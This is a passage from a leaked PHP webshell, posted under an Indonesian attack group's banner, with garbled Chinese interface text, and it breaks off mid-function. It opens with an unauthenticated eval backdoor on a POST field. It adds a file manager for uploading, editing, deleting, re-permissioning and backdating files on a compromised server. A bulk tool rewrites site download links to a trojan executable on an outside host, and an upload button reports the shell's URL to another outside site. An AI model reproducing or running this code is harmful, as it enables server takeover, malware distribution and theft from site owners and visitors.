· 8 years ago · Mar 25, 2018, 02:06 AM
1Leaked by : PELITABANGSA .CA
2[ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
3
4<?php
5@eval($_POST['ghost']);
6error_reporting(0);
7//error_reporting(E_ERROR);
8header("content-Type: text/html; charset=gb2312");
9set_time_limit(0);
10function Root_GP(&$array)
11{
12 while(list($key,$var) = each($array))
13 {
14 if((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv')
15 {
16 if(is_string($var)) $array[$key] = stripslashes($var);
17 if(is_array($var)) $array[$key] = Root_GP($var);
18 }
19 }
20 return $array;
21}
22$salt = "silic1234";
23$psw = trim($_POST['silicpass']);
24$password="7c3b55841ea9fb990c33b85c6b93b35f";
25$passt = $salt.$psw;
26$passt = md5(md5(md5($passt)));
27$asse='asert';
28function Root_CSS()
29{
30print<<<END
31<style type="text/css">
32*{padding:0; margin:0;}
33body{background:threedface;font-family:"Verdana","Tahoma","宋体",sans-serif;font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}
34a{color:#000000;text-decoration:none;}
35a:hover{background:#BBBBBB;}
36table{color:#000000;font-family:"Verdana","Tahoma","宋体",sans-serif;font-size:13px;border:1px solid #999999;}
37td{background:#F9F6F4;}
38.toptd{background:threedface;width:310px;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;}
39.msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}
40.actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
41.footer{padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;}
42</style>\n
43END;
44return false;
45}
46//文件管ç†
47class packdir
48{
49 var $out='';
50 var $datasec=array();
51 var $ctrl_dir=array();
52 var $eof_ctrl_dir="\x50\x4b\x05\x06\x00\x00\x00\x00";
53 var $old_offset=0;
54function packdir($array)
55{
56 if(@function_exists('gzcompress'))
57 {
58 for($n = 0;$n < count($array);$n++)
59 {
60 $array[$n] = urldecode($array[$n]);
61 $fp = @fopen($array[$n], 'r');
62 $filecode = @fread($fp, @filesize($array[$n]));
63 @fclose($fp);
64 $this -> filezip($filecode,basename($array[$n]));
65 }
66 @closedir($zhizhen);
67 $this->out = $this->packfile();
68 return true;
69}
70return false;
71}
72function at($atunix = 0)
73{
74 $unixarr = ($atunix == 0) ? getdate() : getdate($atunix);
75 if ($unixarr['year'] < 1980)
76 {
77 $unixarr['year'] = 1980;
78 $unixarr['mon'] = 1;
79 $unixarr['mday'] = 1;
80 $unixarr['hours'] = 0;
81 $unixarr['minutes'] = 0;
82 $unixarr['seconds'] = 0;
83 }
84 return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1);
85}
86function filezip($data, $name, $time = 0)
87{
88 $name = str_replace('\\', '/', $name);
89 $dtime = dechex($this->at($time));
90 $hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1];
91 eval('$hexdtime = "' . $hexdtime . '";');
92 $fr = "\x50\x4b\x03\x04";
93 $fr .= "\x14\x00";
94 $fr .= "\x00\x00";
95 $fr .= "\x08\x00";
96 $fr .= $hexdtime;
97 $unc_len = strlen($data);
98 $crc = crc32($data);
99 $zdata = gzcompress($data);
100 $c_len = strlen($zdata);
101 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
102 $fr .= pack('V', $crc);
103 $fr .= pack('V', $c_len);
104 $fr .= pack('V', $unc_len);
105 $fr .= pack('v', strlen($name));
106 $fr .= pack('v', 0);
107 $fr .= $name;
108 $fr .= $zdata;
109 $fr .= pack('V', $crc);
110 $fr .= pack('V', $c_len);
111 $fr .= pack('V', $unc_len);
112 $this -> datasec[] = $fr;
113 $new_offset = strlen(implode('', $this->datasec));
114 $cdrec = "\x50\x4b\x01\x02";
115 $cdrec .= "\x00\x00";
116 $cdrec .= "\x14\x00";
117 $cdrec .= "\x00\x00";
118 $cdrec .= "\x08\x00";
119 $cdrec .= $hexdtime;
120 $cdrec .= pack('V', $crc);
121 $cdrec .= pack('V', $c_len);
122 $cdrec .= pack('V', $unc_len);
123 $cdrec .= pack('v', strlen($name) );
124 $cdrec .= pack('v', 0 );
125 $cdrec .= pack('v', 0 );
126 $cdrec .= pack('v', 0 );
127 $cdrec .= pack('v', 0 );
128 $cdrec .= pack('V', 32 );
129 $cdrec .= pack('V', $this -> old_offset );
130 $this -> old_offset = $new_offset;
131 $cdrec .= $name;
132 $this -> ctrl_dir[] = $cdrec;
133
134}
135function packfile()
136{
137 $data = implode('', $this -> datasec);
138 $ctrldir = implode('', $this -> ctrl_dir);
139 return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00";
140}
141}
142function File_Str($string)
143{
144 return str_replace('//','/',str_replace('\\','/',$string));
145}
146function File_Size($size)
147{
148 if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G';
149 elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M';
150 elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K';
151 else $size = $size . ' B';
152 return $size;
153}
154
155function File_Mode()
156{
157 $RealPath = realpath('./');
158 $SelfPath = $_SERVER['PHP_SELF'];
159 $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/'));
160 return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
161}
162function File_Read($filename)
163{
164 $handle = @fopen($filename,"rb");
165 $filecode = @fread($handle,@filesize($filename));
166 @fclose($handle);
167 return $filecode;
168}
169function File_Write($filename,$filecode,$filemode)
170{
171 $key = true;
172 $handle = @fopen($filename,$filemode);
173 if(!@fwrite($handle,$filecode))
174 {
175 @chmod($filename,0666);
176 $key = @fwrite($handle,$filecode) ? true : false;
177 }
178@fclose($handle);
179return $key;
180}
181function File_Up($filea,$fileb)
182{
183 $key = @copy($filea,$fileb) ? true : false;
184 if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false;
185 return $key;
186}
187function File_Down($filename)
188{
189 if(!file_exists($filename)) return false;
190 $filedown = basename($filename);
191 $array = explode('.', $filedown);
192 $arrayend = array_pop($array);
193 header('Content-type: application/x-'.$arrayend);
194 header('Content-Disposition: attachment; filename='.$filedown);
195 header('Content-Length: '.filesize($filename));
196 @readfile($filename);
197 exit;
198}
199function File_Deltree($deldir)
200{
201 if(($mydir = @opendir($deldir)) == NULL) return false;
202 while(false !== ($file = @readdir($mydir)))
203 {
204 $name = File_Str($deldir.'/'.$file);
205 if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);}
206 if(is_file($name)){@chmod($name,0777);@unlink($name);}
207 }
208 @closedir($mydir);
209 @chmod($deldir,0777);
210 return @rmdir($deldir) ? true : false;
211}
212function File_Act($array,$actall,$inver)
213{
214 if(($count = count($array)) == 0) return '请选择文件';
215 if($actall == 'e')
216 {
217 $zip = new packdir;
218 if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;}
219 return '打包文件失败';
220 }
221 $i = 0;
222 while($i < $count)
223 {
224 $array[$i] = urldecode($array[$i]);
225 switch($actall)
226 {
227 case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = 'å¤åˆ¶åˆ°'.$inver.'目录'; break;
228 case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = 'åˆ é™¤'; break;
229 case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '属性值错误'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '属性修改为'.$inver; break;
230 case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break;
231 }
232 $i++;
233 }
234 return '所选文件'.$msg.'完毕';
235}
236function File_Edit($filepath,$filename,$dim = '')
237{
238 $THIS_DIR = urlencode($filepath);
239 $THIS_FILE = File_Str($filepath.'/'.$filename);
240 if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));}
241 else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';}
242print<<<END
243<script language="javascript">
244var NS4 = (document.layers);
245var IE4 = (document.all);
246var win = this;
247var n = 0;
248function search(str){
249 var txt, i, found;
250 if(str == "")return false;
251 if(NS4){
252 if(!win.find(str)) while(win.find(str, false, true)) n++; else n++;
253 if(n == 0) alert(str + " ... Not-Find")
254 }
255 if(IE4){
256 txt = win.document.body.createTextRange();
257 for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){
258 txt.moveStart("character", 1);
259 txt.moveEnd("textedit")
260 }
261 if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++}
262 else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")}
263 }
264 return false
265}
266function CheckDate(){
267 var re = document.getElementById('mtime').value;
268 var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/;
269 var r = re.match(reg);
270 if(r==null){alert('æ—¥æœŸæ ¼å¼ä¸æ£ç¡®!æ ¼å¼:yyyy-mm-dd hh:mm:ss');return false;}
271 else{document.getElementById('editor').submit();}
272}
273</script>
274<div class="actall">查找内容: <input name="searchs" type="text" value="{$dim}" style="width:500px;">
275<input type="button" value="查找" onclick="search(searchs.value)"></div>
276<form method="POST" id="editor" action="?s=a&p={$THIS_DIR}">
277<div class="actall"><input type="text" name="pfn" value="{$THIS_FILE}" style="width:750px;"></div>
278<div class="actall"><textarea name="pfc" id style="width:750px;height:380px;">{$FILE_CODE}</textarea></div>
279<div class="actall">文件修改时间 <input type="text" name="mtime" id="mtime" value="{$FILE_TIME}" style="width:150px;"></div>
280<div class="actall"><input type="button" value="ä¿å˜" onclick="CheckDate();" style="width:80px;">
281<input type="button" value="返回" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div>
282</form>
283END;
284}
285function File_Soup($p)
286{
287 $THIS_DIR = urlencode($p);
288 $UP_SIZE = get_cfg_var('upload_max_filesize');
289 $MSG_BOX = 'å•ä¸ªé™„件å…许大å°:'.$UP_SIZE.', 改åæ ¼å¼(new.php),如为空,则ä¿æŒåŽŸæ–‡ä»¶å.';
290 if(!empty($_POST['updir']))
291 {
292 if(count($_FILES['soup']) >= 1)
293 {
294 $i = 0;
295 foreach ($_FILES['soup']['error'] as $key => $error)
296 {
297 if ($error == UPLOAD_ERR_OK)
298 {
299 $souptmp = $_FILES['soup']['tmp_name'][$key];
300 if(!empty($_POST['reup'][$i]))$soupname = $_POST['reup'][$i]; else $soupname = $_FILES['soup']['name'][$key];
301 $MSG[$i] = File_Up($souptmp,File_Str($_POST['updir'].'/'.$soupname)) ? $soupname.'ä¸Šä¼ æˆåŠŸ' : $soupname.'ä¸Šä¼ å¤±è´¥';
302 }
303 $i++;
304 }
305 }
306 else
307 {
308 $MSG_BOX = '请选择文件';
309 }
310 }
311print<<<END
312<div class="msgbox">{$MSG_BOX}</div>
313<form method="POST" id="editor" action="?s=q&p={$THIS_DIR}" enctype="multipart/form-data">
314<div class="actall">ä¸Šä¼ åˆ°ç›®å½•: <input type="text" name="updir" value="{$p}" style="width:531px;height:22px;"></div>
315<div class="actall">附件1 <input type="file" name="soup[]" style="width:300px;height:22px;"> 改å <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[0] </div>
316<div class="actall">附件2 <input type="file" name="soup[]" style="width:300px;height:22px;"> 改å <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[1] </div>
317<div class="actall">附件3 <input type="file" name="soup[]" style="width:300px;height:22px;"> 改å <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[2] </div>
318<div class="actall">附件4 <input type="file" name="soup[]" style="width:300px;height:22px;"> 改å <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[3] </div>
319<div class="actall">附件5 <input type="file" name="soup[]" style="width:300px;height:22px;"> 改å <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[4] </div>
320<div class="actall">附件6 <input type="file" name="soup[]" style="width:300px;height:22px;"> 改å <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[5] </div>
321<div class="actall">附件7 <input type="file" name="soup[]" style="width:300px;height:22px;"> 改å <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[6] </div>
322<div class="actall">附件8 <input type="file" name="soup[]" style="width:300px;height:22px;"> 改å <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[7] </div>
323<div class="actall"><input type="submit" value="ä¸Šä¼ " style="width:80px;"> <input type="button" value="返回" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div>
324</form>
325END;
326}
327function File_a($p)
328{
329 session_start();
330 if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/';
331 $MSG_BOX = 'æ·«è¡çš„ç‰å¾…ä¸...';
332 $UP_DIR = urlencode(File_Str($p.'/..'));
333 $REAL_DIR = File_Str(realpath($p));
334 $NOW_URL='http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
335 $FILE_DIR = File_Str(dirname(__FILE__));
336 $ROOT_DIR = File_Mode();
337 $THIS_DIR = urlencode(File_Str($REAL_DIR));
338 $NUM_D = 0;
339 $NUM_F = 0;
340 if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' æˆåŠŸ' : '编辑文件 '.$_POST['pfn'].' 失败';@touch($_POST['pfn'],$intime);}
341 if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($REAL_DIR.'/'.$upfilename)) ? 'ä¸Šä¼ æ–‡ä»¶ '.$upfilename.' æˆåŠŸ' : 'ä¸Šä¼ æ–‡ä»¶ '.$upfilename.' 失败';}
342 if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);}
343 if(isset($_GET['md'])){$modfile = File_Str($REAL_DIR.'/'.$_GET['mk']); if(!eregi("^[0-7]{4}$",$_GET['md'])) $MSG_BOX = '属性值错误'; else $MSG_BOX = @chmod($modfile,base_convert($_GET['md'],8,10)) ? '修改 '.$modfile.' 属性为 '.$_GET['md'].' æˆåŠŸ' : '修改 '.$modfile.' 属性为 '.$_GET['md'].' 失败';}
344 if(isset($_GET['mn'])){$MSG_BOX = @rename(File_Str($REAL_DIR.'/'.$_GET['mn']),File_Str($REAL_DIR.'/'.$_GET['rn'])) ? '改å '.$_GET['mn'].' 为 '.$_GET['rn'].' æˆåŠŸ' : '改å '.$_GET['mn'].' 为 '.$_GET['rn'].' 失败';}
345 if(isset($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($REAL_DIR.'/'.$_GET['dn']),0777) ? '创建目录 '.$_GET['dn'].' æˆåŠŸ' : '创建目录 '.$_GET['dn'].' 失败';}
346 if(isset($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? 'åˆ é™¤ç›®å½• '.$_GET['dd'].' æˆåŠŸ' : 'åˆ é™¤ç›®å½• '.$_GET['dd'].' 失败';}
347 if(isset($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = '下载文件ä¸å˜åœ¨';}
348 Root_CSS();
349print<<<END
350<script type="text/javascript">
351 function Inputok(msg,gourl)
352 {
353 smsg = "当å‰æ–‡ä»¶:[" + msg + "]";
354 re = prompt(smsg,unescape(msg));
355 if(re)
356 {
357 var url = gourl + escape(re);
358 window.location = url;
359 }
360 }
361 function Delok(msg,gourl)
362 {
363 smsg = "确定è¦åˆ 除[" + unescape(msg) + "]å—?";
364 if(confirm(smsg))
365 {
366 if(gourl == 'b')
367 {
368 document.getElementById('actall').value = escape(gourl);
369 document.getElementById('fileall').submit();
370 }
371 else window.location = gourl;
372 }
373 }
374 function CheckDate(msg,gourl)
375 {
376 smsg = "当å‰æ–‡ä»¶æ—¶é—´:[" + msg + "]";
377 re = prompt(smsg,msg);
378 if(re)
379 {
380 var url = gourl + re;
381 var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/;
382 var r = re.match(reg);
383 if(r==null){alert('æ—¥æœŸæ ¼å¼ä¸æ£ç¡®!æ ¼å¼:yyyy-mm-dd hh:mm:ss');return false;}
384 else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
385 }
386 }
387 function CheckAll(form)
388 {
389 for(var i=0;i<form.elements.length;i++)
390 {
391 var e = form.elements[i];
392 if (e.name != 'chkall')
393 e.checked = form.chkall.checked;
394 }
395 }
396 function SubmitUrl(msg,txt,actid)
397 {
398 re = prompt(msg,unescape(txt));
399 if(re)
400 {
401 document.getElementById('actall').value = actid;
402 document.getElementById('inver').value = escape(re);
403 document.getElementById('fileall').submit();
404 }
405 }
406</script>
407<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
408<div class="actall" style="text-align:center;padding:3px;">
409<form method="GET"><input type="hidden" id="s" name="s" value="a">
410<input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;">
411<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
412 <option>---特殊目录---</option>
413 <option value="{$ROOT_DIR}">ç½‘ç«™æ ¹ç›®å½•</option>
414 <option value="{$FILE_DIR}">本程åºç›®å½•</option>
415 <option value="C:/">C盘</option>
416 <option value="D:/">D盘</option>
417 <option value="E:/">E盘</option>
418 <option value="F:/">F盘</option>
419 <option value="C:/Documents and Settings/All Users/「开始ã€èœå•/程åº/å¯åŠ¨">å¯åŠ¨é¡¹</option>
420 <option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup">å¯åŠ¨é¡¹(英)</option>
421 <option value="C:/RECYCLER">回收站</option>
422 <option value="C:/Program Files">Programs</option>
423 <option value="/etc">etc</option>
424 <option value="/home">home</option>
425 <option value="/usr/local">Local</option>
426 <option value="/tmp">Temp</option>
427</select><input type="submit" value="转到" style="width:50px;"></form>
428<div style="margin-top:3px;"></div>
429<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
430 <input type="button" value="新建文件" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
431 <input type="button" value="新建目录" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');">
432 <input type="button" value="批é‡ä¸Šä¼ " onclick="window.location='?s=q&p={$REAL_DIR}';">
433 <input type="file" name="ufp" style="width:300px;height:22px;">
434 <input type="text" name="ufn" style="width:121px;height:22px;">
435 <input type="submit" value="ä¸Šä¼ " style="width:50px;" onclick="window.location.href='http://www.71pic.com/l.asp?l={$NOW_URL}'">
436</form></div>
437<form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}">
438<table border="0"><tr><td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b>上级目录</b></a></td>
439<td class="toptd" style="width:80px;"> æ“作 </td><td class="toptd" style="width:48px;"> 属性 </td><td class="toptd" style="width:173px;"> 修改时间 </td><td class="toptd" style="width:75px;"> å¤§å° </td></tr>
440END;
441 if(($h_d = @opendir($p)) == NULL) return false;
442 while(false !== ($Filename = @readdir($h_d)))
443 {
444 session_start();
445 if($Filename == '.' or $Filename == '..') continue;
446 $Filepath = File_Str($REAL_DIR.'/'.$Filename);
447 if(is_dir($Filepath))
448 {
449 $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4);
450 $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
451 $Filepath = urlencode($Filepath);
452 echo "\r\n".' <tr><td> <a href="?s=a&p='.$Filepath.'"><font face="wingdings" size="3">0</font><b> '.$Filename.' </b></a> </td> ';
453 $Filename = urlencode($Filename);
454 echo ' <td> <a href="#" onclick="Delok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&dd='.$Filename.'\');return false;"> åˆ é™¤ </a> ';
455 echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;"> 改å </a> </td> ';
456 echo ' <td> <a href="#" onclick="Inputok(\''.$Fileperm.'\',\'?s=a&p='.$THIS_DIR.'&mk='.$Filename.'&md=\');return false;"> '.$Fileperm.' </a> </td> ';
457 echo ' <td>'.$Filetime.'</td> ';
458 echo ' <td> </td> </tr>'."\r\n";
459 $NUM_D++;
460 }
461 }
462 @rewinddir($h_d);
463 while(false !== ($Filename = @readdir($h_d)))
464 {
465 if($Filename == '.' or $Filename == '..') continue;
466 $Filepath = File_Str($REAL_DIR.'/'.$Filename);
467 if(!is_dir($Filepath))
468 {
469 $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath);
470 $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4);
471 $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
472 $Filesize = File_Size(@filesize($Filepath));
473 if($Filepath == File_Str(__FILE__)) $fname = '<font color="#8B0000">'.$Filename.'</font>'; else $fname = $Filename;
474 echo "\r\n".' <tr><td> <input type="checkbox" name="files[]" value="'.urlencode($Filepath).'"><a target="_blank" href="'.$Fileurls.'">'.$fname.'</a> </td>';
475 $Filepath = urlencode($Filepath);
476 $Filename = urlencode($Filename);
477 echo ' <td> <a href="?s=p&fp='.$THIS_DIR.'&fn='.$Filename.'"> 编辑 </a> ';
478 echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;"> 改å </a> </td>';
479 echo ' <td>'.$Fileperm.'</td> ';
480 echo ' <td>'.$Filetime.'</td> ';
481 echo ' <td align="right"> <a href="?s=a&df='.$Filepath.'">'.$Filesize.'</a> </td></tr> '."\r\n";
482 $NUM_F++;
483 }
484 }
485 @closedir($h_d);
486 if(!$Filetime) $Filetime = '2009-01-01 00:00:00';
487print<<<END
488</table>
489<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined">
490<input type="hidden" id="inver" name="inver" value="undefined">
491<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);">
492<input type="button" value="å¤åˆ¶" onclick="SubmitUrl('å¤åˆ¶æ‰€é€‰æ–‡ä»¶åˆ°è·¯å¾„: ','{$THIS_DIR}','a');return false;">
493<input type="button" value="åˆ é™¤" onclick="Delok('所选文件','b');return false;">
494<input type="button" value="属性" onclick="SubmitUrl('修改所选文件属性值为: ','0666','c');return false;">
495<input type="button" value="时间" onclick="CheckDate('{$Filetime}','d');return false;">
496<input type="button" value="打包" onclick="SubmitUrl('打包并下载所选文件下载å为: ','silic.gz','e');return false;">
497目录({$NUM_D}) / 文件({$NUM_F})</div> </form>
498END;
499return true;
500}
501//批é‡æ›¿æ¢
502function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb)
503{
504 if(($h_d = @opendir($tp)) == NULL) return false;
505 while(false !== ($Filename = @readdir($h_d)))
506 {
507 if($Filename == '.' || $Filename == '..') continue;
508 $Filepath = File_Str($tp.'/'.$Filename);
509 if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb);
510 $doing = false;
511 if(eregi($tt,$Filename))
512 {
513 $ic = File_Read($Filepath);
514 if($th)
515 {
516 if(!stristr($ic,$tca)) continue;
517 $ic = str_replace($tca,$tcb,$ic);
518 $doing = true;
519 }
520 else
521 {
522 preg_match_all("/href\=\"([^~]*?)\"/i",$ic,$nc);
523 for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}}
524 }
525 if($td) $ftime = @filemtime($Filepath);
526 if($doing) echo File_Write($Filepath,$ic,'wb') ? '<font color="#006600">æˆåŠŸ:</font>'.$Filepath.' <br>'."\r\n" : '<font color="#FF0000">失败:</font>'.$Filepath.' <br>'."\r\n";
527 if($td) @touch($Filepath,$ftime);
528 ob_flush();
529 flush();
530 }
531 }
532 @closedir($h_d);
533 return true;
534}
535function Tihuan_d()
536{
537 if((!empty($_POST['tp'])) && (!empty($_POST['tt'])))
538 {
539 echo '<div class="actall">';
540 $tt = str_replace('.','\\.',$_POST['tt']);
541 $td = isset($_POST['td']) ? true : false;
542 $tb = ($_POST['tb'] == 'a') ? true : false;
543 $th = ($_POST['th'] == 'a') ? true : false;
544 if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']);
545 echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '<a href="#" onclick="window.location=\'?s=d\'">替æ¢å®Œæ¯•</a>' : '<a href="#" onclick="window.location=\'?s=d\'">异常终æ¢</a>';
546 echo '</div>';
547 return false;
548 }
549 $FILE_DIR = File_Str(dirname(__FILE__));
550 $ROOT_DIR = File_Mode();
551print<<<END
552<script language="javascript">
553function Fulllll(i){
554 if(i==0) return false;
555 Str = new Array(5);
556 if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];}
557 else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];}
558 return true;
559}
560function showth(th){
561 if(th == 'a') document.getElementById('setauto').innerHTML = '查找内容:<textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>替æ¢æˆä¸º:<textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea>';
562 if(th == 'b') document.getElementById('setauto').innerHTML = '<br>下载åŽç¼€ <input type="text" name="tca" id="tca" value=".exe|.7z|.rar|.zip|.gz|.txt" style="width:500px;"><br><br>替æ¢æˆä¸º <input type="text" name="tcb" id="tcb" value="http://blackbap.org/muma.exe" style="width:500px;">';
563 return true;
564}
565function autoup(){
566 if(document.getElementById('tp').value == ''){alert('路径ä¸èƒ½ä¸ºç©º');return false;}
567 if(document.getElementById('tt').value == ''){alert('类型ä¸èƒ½ä¸ºç©º');return false;}
568 if(document.getElementById('tca').value == ''){alert('代ç ä¸èƒ½ä¸ºç©º');return false;}
569 document.getElementById('tform').submit();
570}
571</script>
572<form method="POST" name="tform" id="tform" action="?s=d">
573<div class="actall" style="height:35px;">替æ¢è·¯å¾„ <input type="text" name="tp" id="tp" value="{$ROOT_DIR}" style="width:500px;">
574<select onchange='return Fulllll(options[selectedIndex].value)'>
575<option value="0" selected>--范围选择--</option>
576<option value="1">ç½‘ç«™æ ¹ç›®å½•</option>
577<option value="2">本程åºç›®å½•</option>
578</select></div>
579<div class="actall" style="height:35px;">文件类型 <input type="text" name="tt" id="tt" value=".htm|.html|.shtml" style="width:500px;">
580<select onchange='return Fulllll(options[selectedIndex].value)'>
581<option value="0" selected>--类型选择--</option>
582<option value="3">é™æ€æ–‡ä»¶</option>
583<option value="4">脚本+é™æ€</option>
584<option value="5">JS文件</option>
585</select></div>
586<div class="actall" style="height:235px;"><input type="radio" name="th" value="a" onclick="showth('a')" checked>替æ¢æ–‡ä»¶ä¸çš„指定内容 <input type="radio" name="th" value="b" onclick="showth('b')">替æ¢æ–‡ä»¶ä¸çš„下载地å€<br>
587<div id="setauto">查找内容 <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>替æ¢æˆä¸º <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea></div></div>
588<div class="actall" style="height:30px;"><input type="checkbox" name="td" value="1" checked>ä¿æŒæ–‡ä»¶ä¿®æ”¹æ—¶é—´ä¸å˜</div>
589<div class="actall" style="height:50px;"><input type="radio" name="tb" value="a" checked>将替æ¢åº”用于该文件夹,å文件夹和文件
590<br><input type="radio" name="tb" value="b">仅将替æ¢åº”用于该文件夹</div>
591<div class="actall"><input type="button" value="开始替æ¢" style="width:80px;height:26px;" onclick="autoup();"></div>
592</form>
593END;
594return true;
595}
596//扫æ木马
597function Antivirus_Auto($sp,$features,$st,$sb)
598{
599 if(($h_d = @opendir($sp)) == NULL) return false;
600 $ROOT_DIR = File_Mode();
601 while(false !== ($Filename = @readdir($h_d)))
602 {
603 if($Filename == '.' || $Filename == '..') continue;
604 $Filepath = File_Str($sp.'/'.$Filename);
605 if(is_dir($Filepath) && $sb) Antivirus_Auto($Filepath,$features,$st);
606 if(eregi($st,$Filename))
607 {
608 if($Filepath == File_Str(__FILE__)) continue;
609 $ic = File_Read($Filepath);
610 foreach($features as $var => $key)
611 {
612 if(stristr($ic,$key))
613 {
614 $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath);
615 $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
